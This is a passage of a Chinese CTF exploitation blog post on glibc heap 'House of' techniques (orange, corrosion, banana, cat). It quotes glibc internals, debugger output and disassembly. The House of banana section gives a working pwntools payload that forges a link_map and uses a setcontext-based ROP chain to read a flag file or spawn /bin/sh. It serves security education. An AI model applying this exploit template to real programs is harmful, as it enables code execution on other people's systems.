class="line">     <span class="keyword">goto</span> errout;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>再来看errout:</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">errout:</span><br><span class="line">   malloc_printerr (check_action, errstr, chunk2mem (victim), av);</span><br></pre></td></tr></table></figure></div><p>errout中有<code>malloc_printerr</code>函数：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">void</span></span><br><span class="line"><span class="title function_">malloc_printerr</span> <span class="params">(<span class="type">int</span> action, <span class="type">const</span> <span class="type">char</span> *str, <span class="type">void</span> *ptr, mstate ar_ptr)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="comment">/* Avoid using this arena in future.  We do not attempt to synchronize this</span></span><br><span class="line"><span class="comment">     with anything else because we minimally want to ensure that __libc_message</span></span><br><span class="line"><span class="comment">     gets its resources safely without stumbling on the current corruption.  */</span></span><br><span class="line">  <span class="keyword">if</span> (ar_ptr)</span><br><span class="line">    set_arena_corrupt (ar_ptr);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> ((action &amp; <span class="number">5</span>) == <span class="number">5</span>)</span><br><span class="line">    __libc_message (action &amp; <span class="number">2</span>, <span class="string">&quot;%s\n&quot;</span>, str);</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> (action &amp; <span class="number">1</span>)</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="type">char</span> buf[<span class="number">2</span> * <span class="keyword">sizeof</span> (<span class="type">uintptr_t</span>) + <span class="number">1</span>];</span><br><span class="line"></span><br><span class="line">      buf[<span class="keyword">sizeof</span> (buf) - <span class="number">1</span>] = <span class="string">&#x27;\0&#x27;</span>;</span><br><span class="line">      <span class="type">char</span> *cp = _itoa_word ((<span class="type">uintptr_t</span>) ptr, &amp;buf[<span class="keyword">sizeof</span> (buf) - <span class="number">1</span>], <span class="number">16</span>, <span class="number">0</span>);</span><br><span class="line">      <span class="keyword">while</span> (cp &gt; buf)</span><br><span class="line">        *--cp = <span class="string">&#x27;0&#x27;</span>;</span><br><span class="line"></span><br><span class="line">      __libc_message (action &amp; <span class="number">2</span>, <span class="string">&quot;*** Error in `%s&#x27;: %s: 0x%s ***\n&quot;</span>,</span><br><span class="line">                      __libc_argv[<span class="number">0</span>] ? : <span class="string">&quot;&lt;unknown&gt;&quot;</span>, str, cp);</span><br><span class="line">    &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> (action &amp; <span class="number">2</span>)</span><br><span class="line">    <span class="built_in">abort</span> ();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>该函数会调用<code>__libc_message</code>函数或<code>abort</code>函数，而<code>__libc_message</code>函数中也会调用<code>abort</code>函数，因此可以进行FSOP</p><p>经典例题：houseoforange_hitcon_2016</p><h2 id="House-of-corrosion"><a href="#House-of-corrosion" class="headerlink" title="House of corrosion"></a>House of corrosion</h2><p>参考链接：<a class="link"   href="https://xz.aliyun.com/t/6862#toc-0" >https://xz.aliyun.com/t/6862#toc-0<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><p><a class="link"   href="https://github.com/CptGibbon/House-of-Corrosion" >https://github.com/CptGibbon/House-of-Corrosion<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><h3 id="攻击条件-1"><a href="#攻击条件-1" class="headerlink" title="攻击条件"></a>攻击条件</h3><ul><li>有UAF漏洞</li><li>可分配较大堆块</li><li>可在无leak的情况下使用</li></ul><h3 id="攻击效果-1"><a href="#攻击效果-1" class="headerlink" title="攻击效果"></a>攻击效果</h3><p><code>fastbinY</code>数组溢出到目标位置，FSOP直接getshell</p><h3 id="攻击方法-1"><a href="#攻击方法-1" class="headerlink" title="攻击方法"></a>攻击方法</h3><ul><li>通过<code>unsorted bin attack</code>，修改<code>global_max_fast</code>变量为一个大值。由于没有leak，因此需要爆破出4bit的偏移量。</li><li>计算stderr到<code>fastbinY</code>数组的偏移量，通过计算公式<code>chunk size = (delta * 2) + 0x20 ，delta为目标地址与fastbinY的offset</code>，计算出要释放的chunk大小，释放后通过堆风水或者UAF修改堆内容伪造<code>_IO_FILE</code>结构体。</li><li>最后通过触发stderr来getshell</li></ul><h3 id="简单POC-1"><a href="#简单POC-1" class="headerlink" title="简单POC"></a>简单POC</h3><h2 id="House-of-banana"><a href="#House-of-banana" class="headerlink" title="House of banana"></a>House of banana</h2><p>参考链接 [<a class="link"   href="https://bbs.kanxue.com/thread-272098.htm#msg_header_h3_31" >原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> 和 <a class="link"   href="https://zhuanlan.zhihu.com/p/535469996" >高版本glibc堆的几种利用手法 - 知乎 (zhihu.com)<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>。</p><p><code>house of banana</code>是利用<code>exit</code>函数调用链触发的一种利用方式，调用链：<code>exit()-&gt;_dl_fini-&gt;(fini_t)array[i]</code>，利用起来十分方便，只要我们能通过<code>largebin attack</code>等方式劫持<code>_rtld_global</code>首地址<code>_ns_loaded</code>到我们的可控区域，也可以直接劫持某个节点<code>link_map</code>的<code>l_next</code>指针到可控区域，就可以对<code>link_map</code>进行伪造，从而进行调用。</p><p>首先我们来看<code>_rtld_global</code>结构体，其中<code>_ns_loaded</code>指向我们要伪造的<code>link_map</code>，是整个链表的头结点，<code>_ns_nloaded</code>表示共有几个<code>link_map</code>，在<code>exit</code>后面的检查中，要求该值不小于3</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; p _rtld_global</span><br><span class="line">$<span class="number">2</span> = &#123;</span><br><span class="line">  _dl_ns = &#123;&#123;</span><br><span class="line">      _ns_loaded = <span class="number">0x7f56e43ba220</span>,    <span class="comment">//#1</span></span><br><span class="line">      _ns_nloaded = <span class="number">4</span>,      <span class="comment">//#2</span></span><br><span class="line"> ...             <span class="comment">//后续变量在该方法中均没有用到</span></span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure></div><p><code>_rtld_global</code>结构体的地址可以直接用<code>libcbase + libc.symbols[&#39;_rtld_global&#39;]</code>计算出来，然后我们可以使用<code>largebin attack</code>等方法修改<code>_ns_loaded</code>为可控地址，进而可以在该地址伪造<code>link_map</code></p><p><code>link_map</code>结构体</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; p *(<span class="keyword">struct</span> link_map *)<span class="number">0x7f56e43ba220</span></span><br><span class="line">$<span class="number">3</span> = &#123;</span><br><span class="line">  l_addr = <span class="number">94172888551424</span>,       <span class="comment">//伪造为fake_link_map_addr+0x20，</span></span><br><span class="line">  l_name = <span class="number">0x7f56e43ba7c8</span> <span class="string">&quot;&quot;</span>,</span><br><span class="line">  l_ld = <span class="number">0x55a655922000</span>,</span><br><span class="line">  l_next = <span class="number">0x7f56e43ba7d0</span>,   <span class="comment">//下一个link_map结构体，伪造保持原来的值</span></span><br><span class="line">  l_prev = <span class="number">0x0</span>,       </span><br><span class="line">  l_real = <span class="number">0x7f56e43ba220</span>,   <span class="comment">//会进行判断是否和当前link_map地址一致，伪造为fake_link_map_addr即可</span></span><br><span class="line">  l_ns = <span class="number">0</span>,</span><br><span class="line">  l_libname = <span class="number">0x7f56e43ba7b0</span>,</span><br><span class="line">  l_info = &#123;<span class="number">0x0</span>, <span class="number">0x55a655922010</span>, <span class="number">0x55a6559220f0</span>, <span class="number">0x55a6559220e0</span>, <span class="number">0x0</span>, <span class="number">0x55a655922090</span>, <span class="number">0x55a6559220a0</span>, <span class="number">0x55a655922120</span>, <span class="number">0x55a655922130</span>, <span class="number">0x55a655922140</span>, <span class="number">0x55a6559220b0</span>, <span class="number">0x55a6559220c0</span>, <span class="number">0x55a655922020</span>, <span class="number">0x55a655922030</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x55a655922100</span>, <span class="number">0x55a6559220d0</span>, <span class="number">0x0</span>, <span class="number">0x55a655922110</span>, <span class="number">0x55a655922160</span>, <span class="number">0x55a655922040</span>, <span class="number">0x55a655922060</span>, <span class="number">0x55a655922050</span>, <span class="number">0x55a655922070</span>, <span class="number">0x55a655922000</span>, <span class="number">0x55a655922150</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x55a655922180</span>, <span class="number">0x55a655922170</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x55a655922160</span>, <span class="number">0x0</span>, <span class="number">0x55a6559221a0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x0</span>, <span class="number">0x55a655922190</span>, <span class="number">0x0</span> &lt;repeats <span class="number">25</span> times&gt;, <span class="number">0x55a655922080</span>&#125;,   <span class="comment">//#4</span></span><br><span class="line">  l_phdr = <span class="number">0x55a65591d040</span>,</span><br><span class="line">......</span><br><span class="line">  l_direct_opencount = <span class="number">1</span>,</span><br><span class="line">  l_type = lt_executable,</span><br><span class="line">  l_relocated = <span class="number">1</span>,</span><br><span class="line">  l_init_called = <span class="number">1</span>,     <span class="comment">//不为0，以绕过判断</span></span><br><span class="line">  l_global = <span class="number">1</span>,</span><br><span class="line">......</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>然后来看<code>_dl_fini</code>函数</p><p><code>_dl_fini.c</code>中具体函数逻辑如下：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span></span><br><span class="line">_dl_fini (<span class="type">void</span>)</span><br><span class="line">&#123;</span><br><span class="line">...</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">link_map</span> *<span class="title">maps</span>[<span class="title">nloaded</span>];</span>    </span><br><span class="line"></span><br><span class="line">   <span class="type">unsigned</span> <span class="type">int</span> i;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">link_map</span> *<span class="title">l</span>;</span></span><br><span class="line">   assert (nloaded != <span class="number">0</span> || GL(dl_ns)[ns]._ns_loaded == <span class="literal">NULL</span>);</span><br><span class="line">   <span class="keyword">for</span> (l = GL(dl_ns)[ns]._ns_loaded, i = <span class="number">0</span>; l != <span class="literal">NULL</span>; l = l-&gt;l_next)</span><br><span class="line">     <span class="comment">/* Do not handle ld.so in secondary namespaces.  */</span></span><br><span class="line">     <span class="keyword">if</span> (l == l-&gt;l_real)      <span class="comment">//检查节点的地址是否跟自己结构体保存的一致</span></span><br><span class="line">       &#123;</span><br><span class="line">  assert (i &lt; nloaded);</span><br><span class="line"></span><br><span class="line">  maps[i] = l;</span><br><span class="line">  l-&gt;l_idx = i;</span><br><span class="line">  ++i;</span><br><span class="line"></span><br><span class="line">  <span class="comment">/* Bump l_direct_opencount of all objects so that they</span></span><br><span class="line"><span class="comment">     are not dlclose()ed from underneath us.  */</span></span><br><span class="line">  ++l-&gt;l_direct_opencount;</span><br><span class="line">       &#125;</span><br><span class="line">   assert (ns != LM_ID_BASE || i == nloaded);</span><br><span class="line">   assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - <span class="number">1</span>);</span><br><span class="line">   <span class="type">unsigned</span> <span class="type">int</span> nmaps = i;</span><br><span class="line"></span><br><span class="line">   _dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),</span><br><span class="line">    <span class="literal">NULL</span>, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">   __rtld_lock_unlock_recursive (GL(dl_load_lock));</span><br><span class="line"></span><br><span class="line">   <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; nmaps; ++i)</span><br><span class="line">     &#123;</span><br><span class="line">       <span class="class"><span class="keyword">struct</span> <span class="title">link_map</span> *<span class="title">l</span> =</span> maps[i];   <span class="comment">//l遍历link_map的链表</span></span><br><span class="line"></span><br><span class="line">       <span class="keyword">if</span> (l-&gt;l_init_called)     <span class="comment">//重要的检查点</span></span><br><span class="line">  &#123;</span><br><span class="line">    l-&gt;l_init_called = <span class="number">0</span>;      </span><br><span class="line"></span><br><span class="line">    <span class="comment">/* Is there a destructor function?  */</span></span><br><span class="line">    <span class="keyword">if</span> (l-&gt;l_info[DT_FINI_ARRAY] != <span class="literal">NULL</span></span><br><span class="line">        || (ELF_INITFINI &amp;&amp; l-&gt;l_info[DT_FINI] != <span class="literal">NULL</span>))</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="comment">/* When debugging print a message first.  */</span></span><br><span class="line">        <span class="keyword">if</span> (__builtin_expect (GLRO(dl_debug_mask)</span><br><span class="line">         &amp; DL_DEBUG_IMPCALLS, <span class="number">0</span>))</span><br><span class="line">   _dl_debug_printf (<span class="string">&quot;\ncalling fini: %s [%lu]\n\n&quot;</span>,</span><br><span class="line">       DSO_FILENAME (l-&gt;l_name),</span><br><span class="line">       ns);</span><br><span class="line"></span><br><span class="line">        <span class="comment">/* First see whether an array is given.  */</span></span><br><span class="line">        <span class="keyword">if</span> (l-&gt;l_info[DT_FINI_ARRAY] != <span class="literal">NULL</span>)</span><br><span class="line">   &#123;</span><br><span class="line">     ElfW(Addr) *<span class="built_in">array</span> =</span><br><span class="line">       (ElfW(Addr) *) (l-&gt;l_addr</span><br><span class="line">         + l-&gt;l_info[DT_FINI_ARRAY]-&gt;d_un.d_ptr);      <span class="comment">//即要调用的函数数组的地址为这两项相加（DT_FINI_ARRAY = 26）</span></span><br><span class="line">     <span class="type">unsigned</span> <span class="type">int</span> i = (l-&gt;l_info[DT_FINI_ARRAYSZ]-&gt;d_un.d_val</span><br><span class="line">         / <span class="keyword">sizeof</span> (ElfW(Addr)));     <span class="comment">//i的起始值（DT_FINI_ARRAYSZ = 28）</span></span><br><span class="line">     <span class="keyword">while</span> (i-- &gt; <span class="number">0</span>)</span><br><span class="line">       ((<span class="type">fini_t</span>) <span class="built_in">array</span>[i]) ();     <span class="comment">//目标位置</span></span><br><span class="line">   &#125;</span><br><span class="line">....</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>从上面可以看到我们需要使<code>l-&gt;l_init_called</code>不为0，<code>l-&gt;l_info[DT_FINI_ARRAY] != NULL || (ELF_INITFINI &amp;&amp; l-&gt;l_info[DT_FINI] != NULL)</code>成立，<code>l-&gt;l_info[DT_FINI_ARRAY] != NULL</code>才能调用函数。</p><p>最后配合<code>setcontext+61</code>可getshell或orw</p><p>模板来源为第一个参考链接</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">fake_link_map_addr = heap_base + <span class="number">0x6c0</span></span><br><span class="line">edit(<span class="number">0</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">0x420</span> + p64(fake_link_map_addr + <span class="number">0x20</span>)) <span class="comment"># l_addr</span></span><br><span class="line">payload = p64(<span class="number">0</span>) +  p64(ld.address + <span class="number">0x2f740</span>) <span class="comment"># l_next</span></span><br><span class="line">payload += p64(<span class="number">0</span>) + p64(fake_link_map_addr) <span class="comment"># l_real</span></span><br><span class="line">payload += p64(libc.sym[<span class="string">&#x27;setcontext&#x27;</span>] + <span class="number">61</span>) <span class="comment"># second call  rdx = the address of last call</span></span><br><span class="line">payload += p64(ret_addr) <span class="comment"># first call (fake_link_map_addr + 0x38)</span></span><br><span class="line"> </span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string"># getshell</span></span><br><span class="line"><span class="string">payload += p64(pop_rdi_ret) # 0x40</span></span><br><span class="line"><span class="string">payload += p64(next(libc.search(b&#x27;/bin/sh&#x27;)))</span></span><br><span class="line"><span class="string">payload += p64(libc.sym[&#x27;system&#x27;])</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"> </span><br><span class="line"><span class="comment"># orw</span></span><br><span class="line">flag_addr = fake_link_map_addr + <span class="number">0xe8</span></span><br><span class="line">payload += p64(pop_rdi_ret) + p64(flag_addr) <span class="comment"># fake_link_map_addr + 0x40</span></span><br><span class="line">payload += p64(pop_rsi_ret) + p64(<span class="number">0</span>)</span><br><span class="line">payload += p64(pop_rax_ret) + p64(<span class="number">2</span>)</span><br><span class="line">payload += p64(libc.sym[<span class="string">&#x27;syscall&#x27;</span>] + <span class="number">27</span>)</span><br><span class="line">payload += p64(pop_rdi_ret) + p64(<span class="number">3</span>)</span><br><span class="line">payload += p64(pop_rsi_ret) + p64(fake_link_map_addr + <span class="number">0x200</span>)</span><br><span class="line">payload += p64(pop_rdx_r12_ret) + p64(<span class="number">0x30</span>) + p64(<span class="number">0</span>)</span><br><span class="line">payload += p64(libc.sym[<span class="string">&#x27;read&#x27;</span>])</span><br><span class="line">payload += p64(pop_rdi_ret) + p64(<span class="number">1</span>)</span><br><span class="line">payload += p64(libc.sym[<span class="string">&#x27;write&#x27;</span>]) <span class="comment"># fake_link_map_addr + 0xc8</span></span><br><span class="line">payload += p64(libc.sym[<span class="string">&#x27;_exit&#x27;</span>])</span><br><span class="line"> </span><br><span class="line">payload = payload.ljust(<span class="number">0x38</span> - <span class="number">0x10</span> + <span class="number">0xa0</span>, <span class="string">b&#x27;\x00&#x27;</span>) <span class="comment"># =&gt; fake_link_map_addr + 0xd8  SROP</span></span><br><span class="line">payload += p64(fake_link_map_addr + <span class="number">0x40</span>) <span class="comment"># rsp</span></span><br><span class="line">payload += p64(ret_addr) <span class="comment"># rip</span></span><br><span class="line">payload += <span class="string">b&#x27;./flag\x00\x00&#x27;</span> <span class="comment"># fake_link_map_addr + 0xe8</span></span><br><span class="line"> </span><br><span class="line">payload = payload.ljust(<span class="number">0x100</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line"><span class="comment"># l-&gt;l_info[DT_FINI_ARRAY] != NULL =&gt; l-&gt;l_info[26] != NULL</span></span><br><span class="line">payload += p64(fake_link_map_addr + <span class="number">0x110</span>) + p64(<span class="number">0x10</span>) <span class="comment"># l-&gt;l_info[26]  &amp;  d_ptr = 0x10</span></span><br><span class="line">payload += p64(fake_link_map_addr + <span class="number">0x120</span>) + p64(<span class="number">0x10</span>) <span class="comment"># l-&gt;l_info[28]  &amp;  i = 0x10/8 = 2 =&gt; array[1] = l-&gt;l_addr + d_ptr + 8 =&gt; array[0] = l-&gt;l_addr + d_ptr</span></span><br><span class="line">payload = payload.ljust(<span class="number">0x308</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">payload += p64(<span class="number">0x800000000</span>) <span class="comment"># l-&gt;l_init_called</span></span><br></pre></td></tr></table></figure></div><p>上述模板的调用流程为（以orw为例）：</p><p>程序进入<code>exit-&gt;_dl_fini-&gt;(fini_t)array[i]</code>，经<code>l-&gt;l_info[28]-&gt;d_un.d_val 得 i=2</code>，<code>d_un</code>为一个共用体</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"> <span class="class"><span class="keyword">union</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  Elf32_Word d_val;<span class="comment">/* Integer value */</span></span><br><span class="line">  Elf32_Addr d_ptr;<span class="comment">/* Address value */</span></span><br><span class="line">&#125; d_un;</span><br></pre></td></tr></table></figure></div><p>经过<code>while(i-- &gt; 0)</code>，第一个调用的项为<code>array[1]</code>，而经<code>l_addr + l-&gt;l_info[26]-&gt;d_un.d_ptr 得 array = fake_link_map_addr + 0x30</code>，则<code>array[1]</code>为<code>ret_addr</code>，之后则会调用<code>array[0]</code>，即<code>setcontext+61</code>，这个调用过程中，汇编代码为</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0x7fa4750591a3</span>    mov    rdx, r14</span><br><span class="line"><span class="number">0x7fa4750591a6</span>    sub    r14, <span class="number">8</span></span><br><span class="line"><span class="number">0x7fa4750591aa</span>    cmp    qword ptr [rbp - <span class="number">0x38</span>], rdx</span><br><span class="line"><span class="number">0x7fa4750591ae</span>    jne    <span class="number">0x7fa4750591a0</span>                &lt;<span class="number">0x7fa4750591a0</span>&gt;</span><br><span class="line"> ↓</span><br><span class="line"><span class="number">0x7fa4750591a0</span>    call   qword ptr [r14]               &lt;setcontext+<span class="number">61</span>&gt;</span><br></pre></td></tr></table></figure></div><p>可以看到在调用<code>setcontext+61</code>之前，会使<code>rdx=r14</code>，然后才有<code>r14-8</code>，则此时<code>rdx=fake_link_map_addr+0x38</code></p><p><code>setcontext+61</code>为</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0x7fa474eae06d</span> &lt;setcontext+<span class="number">61</span>&gt;     mov    rsp, qword ptr [rdx + <span class="number">0xa0</span>]</span><br><span class="line"><span class="number">0x7fa474eae074</span> &lt;setcontext+<span class="number">68</span>&gt;     mov    rbx, qword ptr [rdx + <span class="number">0x80</span>]</span><br><span class="line"><span class="number">0x7fa474eae07b</span> &lt;setcontext+<span class="number">75</span>&gt;     mov    rbp, qword ptr [rdx + <span class="number">0x78</span>]</span><br><span class="line"><span class="number">0x7fa474eae07f</span> &lt;setcontext+<span class="number">79</span>&gt;     mov    r12, qword ptr [rdx + <span class="number">0x48</span>]</span><br><span class="line"><span class="number">0x7fa474eae083</span> &lt;setcontext+<span class="number">83</span>&gt;     mov    r13, qword ptr [rdx + <span class="number">0x50</span>]</span><br><span class="line"><span class="number">0x7fa474eae087</span> &lt;setcontext+<span class="number">87</span>&gt;     mov    r14, qword ptr [rdx + <span class="number">0x58</span>]</span><br><span class="line"><span class="number">0x7fa474eae08b</span> &lt;setcontext+<span class="number">91</span>&gt;     mov    r15, qword ptr [rdx + <span class="number">0x60</span>]</span><br><span class="line"><span class="number">0x7fa474eae08f</span> &lt;setcontext+<span class="number">95</span>&gt;     test   dword ptr fs:[<span class="number">0x48</span>], <span class="number">2</span></span><br><span class="line"><span class="number">0x7fa474eae09b</span> &lt;setcontext+<span class="number">107</span>&gt;    je     setcontext+<span class="number">294</span>                &lt;setcontext+<span class="number">294</span>&gt;</span><br><span class="line"><span class="number">0x7fa474eae156</span> &lt;setcontext+<span class="number">294</span>&gt;    mov    rcx, qword ptr [rdx + <span class="number">0xa8</span>]</span><br><span class="line"><span class="number">0x7fa474eae15d</span> &lt;setcontext+<span class="number">301</span>&gt;    push   rcx</span><br><span class="line"><span class="number">0x7fa474eae15e</span> &lt;setcontext+<span class="number">302</span>&gt;    mov    rsi, qword ptr [rdx + <span class="number">0x70</span>]</span><br><span class="line"><span class="number">0x7fa474eae162</span> &lt;setcontext+<span class="number">306</span>&gt;    mov    rdi, qword ptr [rdx + <span class="number">0x68</span>]</span><br><span class="line"><span class="number">0x7fa474eae166</span> &lt;setcontext+<span class="number">310</span>&gt;    mov    rcx, qword ptr [rdx + <span class="number">0x98</span>]</span><br><span class="line"><span class="number">0x7fa474eae16d</span> &lt;setcontext+<span class="number">317</span>&gt;    mov    r8, qword ptr [rdx + <span class="number">0x28</span>]</span><br><span class="line"><span class="number">0x7fa474eae171</span> &lt;setcontext+<span class="number">321</span>&gt;    mov    r9, qword ptr [rdx + <span class="number">0x30</span>]</span><br><span class="line"><span class="number">0x7fa474eae175</span> &lt;setcontext+<span class="number">325</span>&gt;    mov    rdx, qword ptr [rdx + <span class="number">0x88</span>]</span><br><span class="line"><span class="number">0x7fa474eae17c</span> &lt;setcontext+<span class="number">332</span>&gt;    xor    eax, eax</span><br><span class="line"><span class="number">0x7fa474eae17e</span> &lt;setcontext+<span class="number">334</span>&gt;    ret    </span><br></pre></td></tr></table></figure></div><p>在对应位置写入值即可控制对应寄存器，<code>ret</code>后<code>rsp</code>被劫持到了<code>fake_link_map_addr+0x40</code>的位置，直接执行orw</p><h2 id="House-of-cat"><a href="#House-of-cat" class="headerlink" title="House of cat"></a>House of cat</h2><p><code>CatF1y</code>师傅发现的一个比较新的技巧，目前适用于任何版本。</p><p>参考链接：[<a class="link"   href="https://bbs.kanxue.com/thread-273895.htm#msg_header_h3_6" >原创]House of cat新型glibc中IO利用手法解析 &amp;&amp; 第六届强网杯House of cat详解-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p><ul><li><p>利用条件：可以向任意位置写入可控地址，可以泄露libcbase和heapbase，能触发FSOP或__malloc_assert或进入IO流</p></li><li><p>利用流程：<code>伪造好fake_IO结构体 -&gt; FSOP/__malloc_assert -&gt; _IO_wfile_seekoff -&gt; 